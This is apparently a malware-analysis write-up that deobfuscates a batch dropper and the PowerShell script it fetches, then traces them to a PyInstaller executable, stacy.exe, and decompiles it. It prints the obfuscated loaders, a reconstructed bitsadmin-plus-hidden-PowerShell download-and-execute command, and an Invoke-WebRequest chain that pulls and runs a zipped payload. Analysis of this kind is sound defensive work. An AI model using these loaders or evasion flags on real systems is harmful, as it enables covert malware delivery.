Brief Introduction
Given was a batch file. Analysing the file suggested that the script defines several variables with obfuscated names and encoded values. It uses Base64 encoding and other forms of obfuscation to hide the actual commands being executed. The script uses PowerShell to decode Base64 encoded strings and convert them into executable commands. It then constructs and runs commands based on the decoded values.
Variable Obfuscation
1
2
3
| set eitg=set
%eitg% gopy=for
%eitg% hetY="tokens=* delims=" && %eitg% GhEt=in && %eitg% SADFCweFDCWQE=/f
|
Above are the variable declaration made in the script. As we can see eitg
is declared as set
. So every time that variable is called using %eitg%
, it will run the command set
.
Main Operation
Below are the obfuscated functions that play a crucial role in the scripts. Understanding how the variable declared from the section before, we can construct a more readble functions.
1
2
3
4
5
6
7
| %gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('powershell [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("""%OYUIThbgrwtWCVRE%"""^)^)') do %eitg% "CVWQeFEWRFQWEd=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("""%DwqeqwefWEFqwer%"""^)^)') do %eitg% "WreqwecQWEFRWE=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%QWErfqwfecQWEDWEX%"""^)^)') do %eitg% "KIUYntyERverERF=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%QWEcwgrtHWTFWEQaxwe%"""^)^)') do %eitg% "NbfdsvREVntySRE=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%RTYUvERQCXergtewsr%"""^)^)') do %eitg% "iUYTbyteVERTfer=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%NETRYverEWERCREWweq%"""^)^)') do %eitg% "QWWEcdweWERee=%%#"
%gopy% %SADFCweFDCWQE% %hetY% %%# %GhEt% ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%ERTYbrtWCRWEfverwfcwer%"""^)^)') do %eitg% "QWERfcerWEDfcvtbytTYR=%%#"
|
Deobfuscated functions are as below:
1
2
3
4
5
6
7
| for /f tokens=* delims= %%# in ('powershell [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("""%OYUIThbgrwtWCVRE%"""^)^)') do set "CVWQeFEWRFQWEd=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("""%DwqeqwefWEFqwer%"""^)^)') do set "WreqwecQWEFRWE=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%QWErfqwfecQWEDWEX%"""^)^)') do set "KIUYntyERverERF=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%QWEcwgrtHWTFWEQaxwe%"""^)^)') do set "NbfdsvREVntySRE=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%RTYUvERQCXergtewsr%"""^)^)') do set "iUYTbyteVERTfer=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%NETRYverEWERCREWweq%"""^)^)') do set "QWWEcdweWERee=%%#"
for /f tokens=* delims= %%# in ('%CVWQeFEWRFQWEd% %WreqwecQWEFRWE%("""%ERTYbrtWCRWEfverwfcwer%"""^)^)') do set "QWERfcerWEDfcvtbytTYR=%%#"
|
Ah, much better. But there are still an encoded value we need to decode. As seen in the first line above, there was a powershell command executing a base64 conversion. The variable inside the FromBase64String() function points to the encoded value somewhere in script.
Decoding Values
I tried to use base64dump.py but somehow it does not detect those strings as a base64 encoding.
Below are the variables and its decoded values:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| # this is kinda of pointless
FWEfvrewFWRVEwer=dG#######hpc##########yB#####pc##########yBraW5k#####Y#######SBv######Zi######Bwb2l##########ud#######Gx#####lc#########3M######K######
# Flying saucers often cross my mind when I'm high I'm trippin'
POUINTYEBRTwertf=R!!!!!!m!!!!!!!!!x5aW5n!!!!!!!IHNh!!!!!!!!!dWNl!!!!!!!!!c!!!!!!!!n!!!!!!!!!Mg!!!!!!!!!!b2Z!!!!!!!!!0ZW4gY3!!!!!!!!!J!!!!!!!vc3Mg!!!!!!!bXkgbWlu!!!!!!Z!!!!!!!!!C!!!!!!B!!!!!!3!!!!!!!!aGV!!!!!!uI!!!!!!!EknbSBoa!!!!!!!Wdo!!!!!!!!!IEk!!!!!!!!n!!!!!!!!bSB0!!!!!!cmlwcGl!!!!!!!uJ!!!!!!w!!!!!o=!!!!!
# stacy.ps1
WeTTyhRRvfer=c@@@@@@3R@@@@h@@@@@@@@@Y3k@@@ucH@@@@@@@M@@@xCg@@@==@@@@@@@
# https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1
VerBrtEwFCWe=a!!!!!!H!!!!!R0c!!!!!HM!!!!!!!!!6!!!!!!!!!L!!!!!y!!!!!9!!!!!y!!!!!!!!!!YXc!!!!!!!uZ2!!!!!l0aHVi!!!!!!!!!d!!!!!!!!!!X!!!!!!!!NlcmNvb!!!!!!!!!n!!!!!!!!RlbnQu!!!!!!!!!!Y29tL!!!!!!!0ludG!!!!!!!!!!Vyb!!!!!!m!!!!!!V!!!!!!0LTItM!!!!!!!C!!!!!!!9m!!!!!!a!!!!!!!W!!!!!!!!!!xl!!!!!!!!!!L!!!!!!!X!!!!!N!!!!!h!!!!!!!!bX!!!!!!!!!!B!!!!!!!s!!!!!!!!!!Z!!!!!XMvbWF!!!!!!z!!!!!!!!!!d!!!!!!!!GV!!!!!!!!!!y!!!!!!!!!!L3N!!!!!!jcm!!!!!!!!!!lwdHMvc!!!!!G!!!!!!!!!!9!!!!!!!!3ZXJzaG!!!!!!!!V!!!!!!!!!sbC9z!!!!!!!!!!d!!!!!!!GFjeS5wc!!!!!!zE!!!!!!K!!!!!!!
# [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String
WERtggbvtrWERV=W1N5c!!!!!!!!!!3!!!!!!!!!Rlb!!!!!S5UZXh0LkVuY29ka!!!!!W5!!!!!!nX!!!!!!!!!!To6!!!!!V!!!!!V!!!!!!!!RG!!!!!!!!!!O!!!!!!!!!C5HZXR!!!!!!T!!!!!!!!!!d!!!!!H!!!!!!!Jp!!!!!!!!!!b!!!!!!!!mcoW1N!!!!!!!!5!!!!!c3RlbS5D!!!!!!!!b!!!!!!!25!!!!!!!2!!!!!!ZXJ!!!!!!!0XTo6Rn!!!!!!!!!J!!!!!!!!!!v!!!!!!!!!!bUJh!!!!!!c!!!!!2!!!!!!U2!!!!!!!!!NFN!!!!!!!!!!0!!!!!!!!!cmluZw!!!!!!!!!!o=
# bitsadmin.exe /transfer
NTYerFVERHetERfewef=Y@@@@@@ml0c2Fk@@@@@@@b@@@@@@@@@WluLmV4@@@@@@@@@ZS@@@@@@A@@@@@@v@@@@@@@@@d@@@@@@@HJh@@@@@@bnNmZXI@@@@@@@@K@@@@@@@@@@
# 2795e16d0061f24c913c2602c24535cac20247c25c9c36a89d20ad4820bc4b72 groups.json
# 8cb1fe0e9a428f1a3ffa79763e9a0b58175af886ff3bf91f310f48dd8a2a638d pretty_groups.json
BRTwercvWQEFRWE=Mjc!!!!!!!!5!!!!!!!NWUx!!!!!!Nm!!!!!!!!!!Q!!!!!wM!!!!!!!DYx!!!!!!!ZjI0!!!!!!!!Yzkx!!!!!!M2My!!!!!NjAyY!!!!!!!!zI0NTM1Y!!!!!!!!!2F!!!!!!j!!!!!!!Mj!!!!!!!!!A!!!!!!!!!!yND!!!!!!!d!!!!!!!!!j!!!!!!!Mj!!!!!!!!Vj!!!!!!!OWM!!!!!!zNmE4!!!!!!!!!!O!!!!!WQyM!!!!!!!!!!GFk!!!!!!!!!NDgy!!!!!!!!!MGJj!!!!!!!!!NGI3M!!!!!i!!!!!!A!!!!!!!!!!gZ3Jv!!!!!!dX!!!!!!!BzLmpzb2!!!!!!!!4KOG!!!!!!!!!!NiMW!!!!!Zl!!!!!!!!M!!!!!!!!!GU!!!!!!!!!5YTQ!!!!!!yOGYxY!!!!!!!!!!TN!!!!!!!!!m!!!!!!!!!!ZmE!!!!!!3O!!!!!!T!!!!!!!!!c2!!!!!!!!!M2!!!!!!U5Y!!!!!!!TBi!!!!!!!!!!NTg!!!!!!!x!!!!!N!!!!!!!!!zV!!!!!!!!!h!!!!!!Z!!!!!j!!!!!!g!!!!!!!!!4NmZmM!!!!!!!!!!2!!!!!!!!!!J!!!!!mO!!!!!TFm!!!!!!!!!!Mz!!!!!!!Ew!!!!!!Z!!!!!jQ4ZGQ!!!!!!!!!4Y!!!!!TJ!!!!!hNj!!!!!!!!!M4ZC!!!!!AgcH!!!!!!!!J!!!!!!!l!!!!!dHR5X2!!!!!!!!!dyb3Vwcy!!!!!!!!!5qc29u!!!!!!!Cg!!!!!!!!!=!!!!!!!!!=!!!!!!!
# -NoP -wiNdowSTYLE hiddeN -ExEcuTioNPolicy BypAss -CoMmAND
RTYbrtgVEWRqqwer=LU5vUC@@@@@@At@@@@@@@@@d@@@@@2l@@@@@@@@@@O@@@@@@@ZG93@@@@@@U@@@@@@@@1@@@@@RZTE
|
Reconstructing Full Command
The very last line of the script suggest that the full command being constructed and executed.
1
| %QWERfcerWEDfcvtbytTYR% "%iUYTbyteVERTfer%" %KIUYntyERverERF% %cd%\%NbfdsvREVntySRE% && %CVWQeFEWRFQWEd% %QWWEcdweWERee% "%cd%\%NbfdsvREVntySRE%"
|
Using the same techniques from the sections before to reconstruct the command executed by this batch file.
1
| bitsadmin.exe /transfer "f48920e537d9c4e0e795971da3646444190eecd24d719303becdd9a13bfa5810" https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1 C:\path\to\stacy.ps1 && powershell.exe -NoP -wiNdowSTYLE hiddeN -ExEcuTioNPolicy BypAss -CoMmAND "C:\path\to\stacy.ps1"
|
As seen above, the command uses bitsadmin and powershell to download and execute a powershell script named stacy.ps1
Below are the command breakdown.
bitsadmin.exe /transfer:
- bitsadmin.exe is a command-line tool used to create, manage, and monitor download and upload jobs. It is often used to perform file transfers in the background.
- /transfer is a parameter used to create a new transfer job. In this context, itβs downloading a file.
“f48920e537d9c4e0e795971da3646444190eecd24d719303becdd9a13bfa5810”:
- This is the job name or identifier for the bitsadmin transfer job. Itβs a unique identifier for this particular download job.
https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1:
- This is the URL from which the file (stacy.ps1) will be downloaded. The file is a PowerShell script hosted on GitHub.
C:\path\to\stacy.ps1:
- This specifies the local path where the file will be saved. In this case, itβs attempting to save it to the current working directory with the name stacy.ps1.
&&:
- This is a conditional operator in batch scripts. It runs the command following && only if the preceding command (bitsadmin.exe) succeeds.
powershell.exe -NoP -wiNdowSTYLE hiddeN -ExEcuTioNPolicy BypAss -CoMmAND “C:\path\to\stacy.ps1”:
- This is the PowerShell command that will be executed if the file download is successful.
Flags and Parameters:
- -NoP (or -NoProfile):
- Runs PowerShell without loading the profile scripts, which can speed up execution and reduce potential interference.
- -wiNdowSTYLE hiddeN:
- Sets the PowerShell window to be hidden. This makes the execution less noticeable to users.
- -ExEcuTioNPolicy BypAss:
- Bypasses the execution policy. By default, PowerShell restricts script execution, but this flag allows scripts to run regardless of policy settings.
- -CoMmAND C:\path\to\stacy.ps1:
- Specifies the command to run, which is to execute the PowerShell script located at C:\path\to\stacy.ps1.
Reversing stacy.ps1
Retrieve the powershell script from the url founded.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| function llIIllIIllIIllIIllIIllIIllIIllIIllII($vP9MZDGjnoJ) {
$Mohfy6VuAN25tmCcilWJ = "\x90";
$xgWjzvyhbOVsU6La79 = $vP9MZDGjnoJ.replace($Mohfy6VuAN25tmCcilWJ, " ") -split " ";
$Mt = $xgWjzvyhbOVsU6La79.clone();
[array]::reverse($Mt);
$MXfstqmCoh2iTbaGnwr0j4Ny = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Mt));
return $MXfstqmCoh2iTbaGnwr0j4Ny;
}
function llIIllIIllIIllIIIIIIllIIllIlllllllII($7lGQcpZoLf6Yk2CPEezSv) {
$6cZyHm8aYQX=-join ((0x41..0x5a) + (0x61..0x7a) | Get-Random -Count 20 | % {[char]$_});
return "$6cZyHm8aYQX$7lGQcpZoLf6Yk2CPEezSv"
}
$hg34RNfykz5XdxBn287mU9=llIIllIIllIIllIIllIIllIIllIIllIIllII("=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90");
$tQsoNjk=llIIllIIllIIllIIllIIllIIllIIllIIllII("l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q");
$RXNPxpB=llIIllIIllIIllIIIIIIllIIllIlllllllII(".zip");
$CcAn4K8e=llIIllIIllIIllIIIIIIllIIllIlllllllII("");
Invoke-WebRequest $hg34RNfykz5XdxBn287mU9 -OutFile $RXNPxpB;Expand-Archive $RXNPxpB -DestinationPath $CcAn4K8e;
& $tQsoNjk -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH ".\$CcAn4K8e\stacy.exe";
|
Deobfuscate it to make it more readable.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| function Decode-Base64String($encodedString) {
$paddingCharacter = "\x90";
$cleanedString = $encodedString.replace($paddingCharacter, " ") -split " ";
$reversedArray = $cleanedString.clone();
[array]::reverse($reversedArray);
$decodedString = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($reversedArray));
return $decodedString;
}
function Generate-RandomString($inputString) {
$randomString = -join ((0x41..0x5a) + (0x61..0x7a) | Get-Random -Count 20 | % {[char]$_});
return "$randomString$inputString";
}
$downloadUrl = Decode-Base64String("=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90");
$executablePath = Decode-Base64String("l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q");
$zipFileName = Generate-RandomString(".zip");
$outputFolderName = Generate-RandomString("");
Invoke-WebRequest $downloadUrl -OutFile $zipFileName;
Expand-Archive $zipFileName -DestinationPath $outputFolderName;
& $executablePath -ExecutionPolicy Bypass Start-Process -FilePath ".\$outputFolderName\stacy.exe";
|
Decode-Base64String() function operates as follow:
- replace ‘\x90’ character with an empty space
- split the strings
- reverse it
- convert from base64
Encoded string in downloadUrl variable:
1
| =\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90
|
Decoded string in downloadUrl variable:
1
| https://github.com/Internet-2-0/file-samples/raw/master/misc/stacysmom.zip
|
Encoded string in executablePath variable:
1
| l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q
|
Decoded string in executablePath variable:
1
| C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
Line 19
- The script will then download stacysmom.zip and rename it based on whatever the randomly generated output from Generate-RandomString() function with .zip extension.
Line 20
- It then extracts the zip file and outputed it to another folder which again generated randomly using Generate-RandomString() function.
Line 21
- Lastly, the file will be excuted with bypassed execution policy
\path\to\powershell.exe -ExecutionPolicy Bypass Start-Process -FilePath ".\path\to\stacy.exe"
Analysing stacysmom.zip
Unzipping the file presents us with several files.
1
2
3
4
5
6
7
8
9
10
11
| .
βββ .fi
βΒ Β βββ ch_1.lnk
βΒ Β βββ ed_9.lnk
βΒ Β βββ ff_3.lnk
βββ README.txt
βββ autorun.ini
βββ cliCk ME fOR inSTrucTioNs.pdf.lnk
βββ just_m_logo.ico
βββ stacy.exe
βββ stacysmom.zip
|
Below are some of the content and properties of those files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| ch_1.lnk target properties:
"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://link.malcore.io"
ed_9.lnk target properties:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://link.malcore.io"
ff_3.lnk target properties:
"C:\Program Files\Mozilla Firefox\firefox.exe" "https://link.malcore.io"
autorun.ini content:
[autorun]
action=Stacys mom
icon=just_m_logo.ico
open=stacy.exe
|
The most interesting one is obviously stacy.exe
1
2
| $ file stacy.exe
stacy.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections
|
Reversing stacy.exe
Using tool like Detect It Easy (DIE) can tell us how the executable being built.
Here, it tells us that the executable was compressed using ZLIB.
Looking for strings inside the executable shows us that python is used to compile the program.
Extract the executables using pyinstxtractor to get the .pyc from it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| $ pyinstxtractor stacy.exe
[+] Processing stacy.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 5877800 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: stacy.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.9 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: stacy.exe
You can now use a python decompiler on the pyc files within the extracted directory
|
Search for the most interesting file here which is stacy.pyc
Here, the file is not readable enough becuase it is still in a binary.
1
2
| $ file stacy.pyc
stacy.pyc: Byte-compiled Python module for CPython 3.9, timestamp-based, .py timestamp: Thu Jan 1 00:00:00 1970 UTC, .py size: 0 bytes
|
To convert .pyc to source code we can use tools like pycdc. Below is the full source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
| # Source Generated with Decompyle++
# File: stacy.pyc (Python 3.9)
import os
import sys
import time
import string
import random
import platform
import base64
CCCcccCCccCCCccccCCCcccCCC = random
ccCccCccCCccccCCcccCCCcccc = CCCcccCCccCCCccccCCCcccCCC.SystemRandom()
ccCCccCCCCcCCcccCCCccCCCcc = ccCccCccCCccccCCcccCCCcccc.randint
def stacy_do_something():
aAAaaAaAAaaAAAAAAAaaAA = string
aAAaaAaaAaaAAAaaAAaaAA = ''
aAAaaAaAAaaAaaaaAAaaAA = ccCCccCCCCcCCcccCCCccCCCcc(1, 15)
aAAaaaaAAaaAAAAAAAaaAA = range
for _ in aAAaaaaAAaaAAAAAAAaaAA(aAAaaAaAAaaAaaaaAAaaAA):
aAAaaAaaAaaAAAaaAAaaAA += aAAaaAaAAaaAAAAAAAaaAA.ascii_letters
return aAAaaAaaAaaAAAaaAAaaAA
def stacy_get_me_a_sandwich():
qQqqQQqqqQQQqqQQQQQQ = ccCCccCCCCcCCcccCCCccCCCcc(1, 20)
qQqqQQqqqQQQqqqqqQQQ = []
qQqqQqqqqQQQqQQQqQQQ = random
qQqQQqqqqQQQqQqqqQQQ = sys
for qQqqQQQQQQQQqQqqqQQQ in range(qQqqQQqqqQQQqqQQQQQQ):
qQqqQQqqqQQQqQQQqQQQ = stacy_do_something()
qQqqQQqqqQQQqqqqqQQQ.insert(qQqqQQQQQQQQqQqqqQQQ, qQqqQQqqqQQQqQQQqQQQ)
if len(qQqqQQqqqQQQqqqqqQQQ) > ccCCccCCCCcCCcccCCCccCCCcc(1, 4):
if not None((lambda .0 = None: for QQqqQQqQQqQQQqQQQqQQ in .0:
QQqqQQqQQqQQQqQQQqQQ in qQqQQqqqqQQQqQqqqQQQ.path)(qQqqQQqqqQQQqqqqqQQQ)):
if qQqqQqqqqQQQqQQQqQQQ.SystemRandom().randint(99, 100) < 1:
qQqQQqqqqQQQqQqqqQQQ.path.insert(0, qQqqQQqqqQQQqqqqqQQQ[-1])
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
return qqQQQqqqQQqqqqqqQQQq
def stacy_make_int(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU):
return ccCCccCCCCcCCcccCCCccCCCcc(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU)
def stacy_shut_up(oOoOoOoOoOoOoOoO, oOoOoOoooOoOoOOO = (False, True)):
oOoOoOoooOoooOOO = time
oOoOOOoooOoooOOO = oOoOoOoooOoooOOO.sleep
if not oOoOoOoooOoOoOOO and oOoOoOoOoOoOoOoO:
oOOOoOoooOoOoOOO = stacy_make_int(1, 13)
elif oOoOoOoooOoOoOOO and oOoOoOoOoOoOoOoO:
oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
elif oOoOoOoOoOoOoOoO and oOoOoOoooOoOoOOO:
oOOOoOoooOoOOOOO = stacy_make_int(1, 4)
oOoooOoooOoOOOOO = stacy_make_int(1, 13)
oOOOoOoooOoOoOOO = oOOOoOoooOoOOOOO + oOoooOoooOoOOOOO
else:
oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
oOoOOOoooOoooOOO(oOOOoOoooOoOoOOO)
oOOOOOOooOoOoOOO = stacy_get_me_a_sandwich()
return oOOOOOOooOoOoOOO
def should_stacy_shut_up():
iIiIIiIIiiiIIii = stacy_make_int(1, 5) < 3
if iIiIIiIIiiiIIii:
iIiIIiIIiiiiIii = stacy_make_int(1, 4) > 2
iIIIIiIIiiiiIii = stacy_make_int(1, 10) < 5
stacy_shut_up(iIIIIiIIiiiiIii, iIiIIiIIiiiiIii, **('oOoOoOoooOoOoOOO', 'oOoOoOoOoOoOoOoO'))
def is_stacy_in_the_right_spot():
should_stacy_shut_up()
eEEeeeeeeeEEEEEeeeeE = 'win'
eEEeeEEeeeEEEEEeeeeE = platform.platform()
EEEEeeEeeeEEEEEeeeeE = True
EEEEeeEEEeEEEEEeeeeE = False
if eEEeeeeeeeEEEEEeeeeE in eEEeeEEeeeEEEEEeeeeE.lower():
return EEEEeeEeeeEEEEEeeeeE
def stacy_dont_stay():
ccCCCCcccCCCccccCCccc = print
ccCCCCcccCCCccccCCccc('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')
def stacy_find_it():
Unsupported opcode: JUMP_IF_NOT_EXC_MATCH
should_stacy_shut_up()
bbBBbbBBbbbBBBBBBbbbbb = os
bbbBBbbbbbbBBBBbbbbbbB = bbBBbbBBbbbBBBBBBbbbbb.path
bbbBBbBBBbbBBBBbbbbbbB = bbbBBbbbbbbBBBBbbbbbbB.sep
bbbBBBBBbbbBBBBBbbBBbB = bbBBbbBBbbbBBBBBBbbbbb.getcwd
bbBbbbBbBBbBBBBbbbbbbB = f'''{bbbBBBBBbbbBBBBBbbBBbB()}{bbbBBbBBBbbBBBBbbbbbbB}.fi'''
bbBbbbBbBBbBbbBbbbbbbB = []
bbbbBBBBbbBBbBBbBBbBbb = '_'
should_stacy_shut_up()
BBbbBBbbbBBbBBbBBbbbbb = '.'
# WARNING: Decompyle incomplete
def stacy_make_pretty(zzZZzzzZZZZzzZZZzzZZZZZZ):
should_stacy_shut_up()
zzZZzzzzzzzzzZZZzzZZZzZZ = []
zzZZzzzzzZZZzZZZzzZZZzZZ = None
zzZZzzZZZzzzzZZZzzZZZzZZ = None
for zzZZzzzzzzzzzZZZzzZZZzZZ in zzZZzzzZZZZzzZZZzzZZZZZZ:
should_stacy_shut_up()
(zzZZzzzZZZZzzZZZzzZZZzZZ, zzZZzzzZZZZzzZZZzzzzzzZZ) = zzZZzzzzzzzzzZZZzzZZZzZZ
if zzZZzzzzzZZZzZZZzzZZZzZZ is not zzZZzzZZZzzzzZZZzzZZZzZZ:
should_stacy_shut_up()
if zzZZzzzZZZZzzZZZzzzzzzZZ < zzZZzzzzzZZZzZZZzzZZZzZZ:
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(0, zzZZzzzZZZZzzZZZzzZZZzZZ)
else:
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
zzZZzzzzzZZZzZZZzzZZZzZZ = zzZZzzzZZZZzzZZZzzzzzzZZ
should_stacy_shut_up()
zzZZzzzzzzzzzZZZzzZZZzZZ.reverse()
return zzZZzzzzzzzzzZZZzzZZZzZZ
def stacy_breaks_shit(yYYyYyyYyyyyyYYYYYY):
Unsupported opcode: RERAISE
should_stacy_shut_up()
# WARNING: Decompyle incomplete
def run_stacy():
should_stacy_shut_up()
xXXxxXXxXxxXXx = is_stacy_in_the_right_spot()
if xXXxxXXxXxxXXx:
should_stacy_shut_up()
xXXxxXXxXXXXXx = stacy_find_it()
should_stacy_shut_up()
sorted_list = stacy_make_pretty(xXXxxXXxXXXXXx)
should_stacy_shut_up()
stacy_breaks_shit(sorted_list)
else:
stacy_dont_stay()
if __name__ == '__main__':
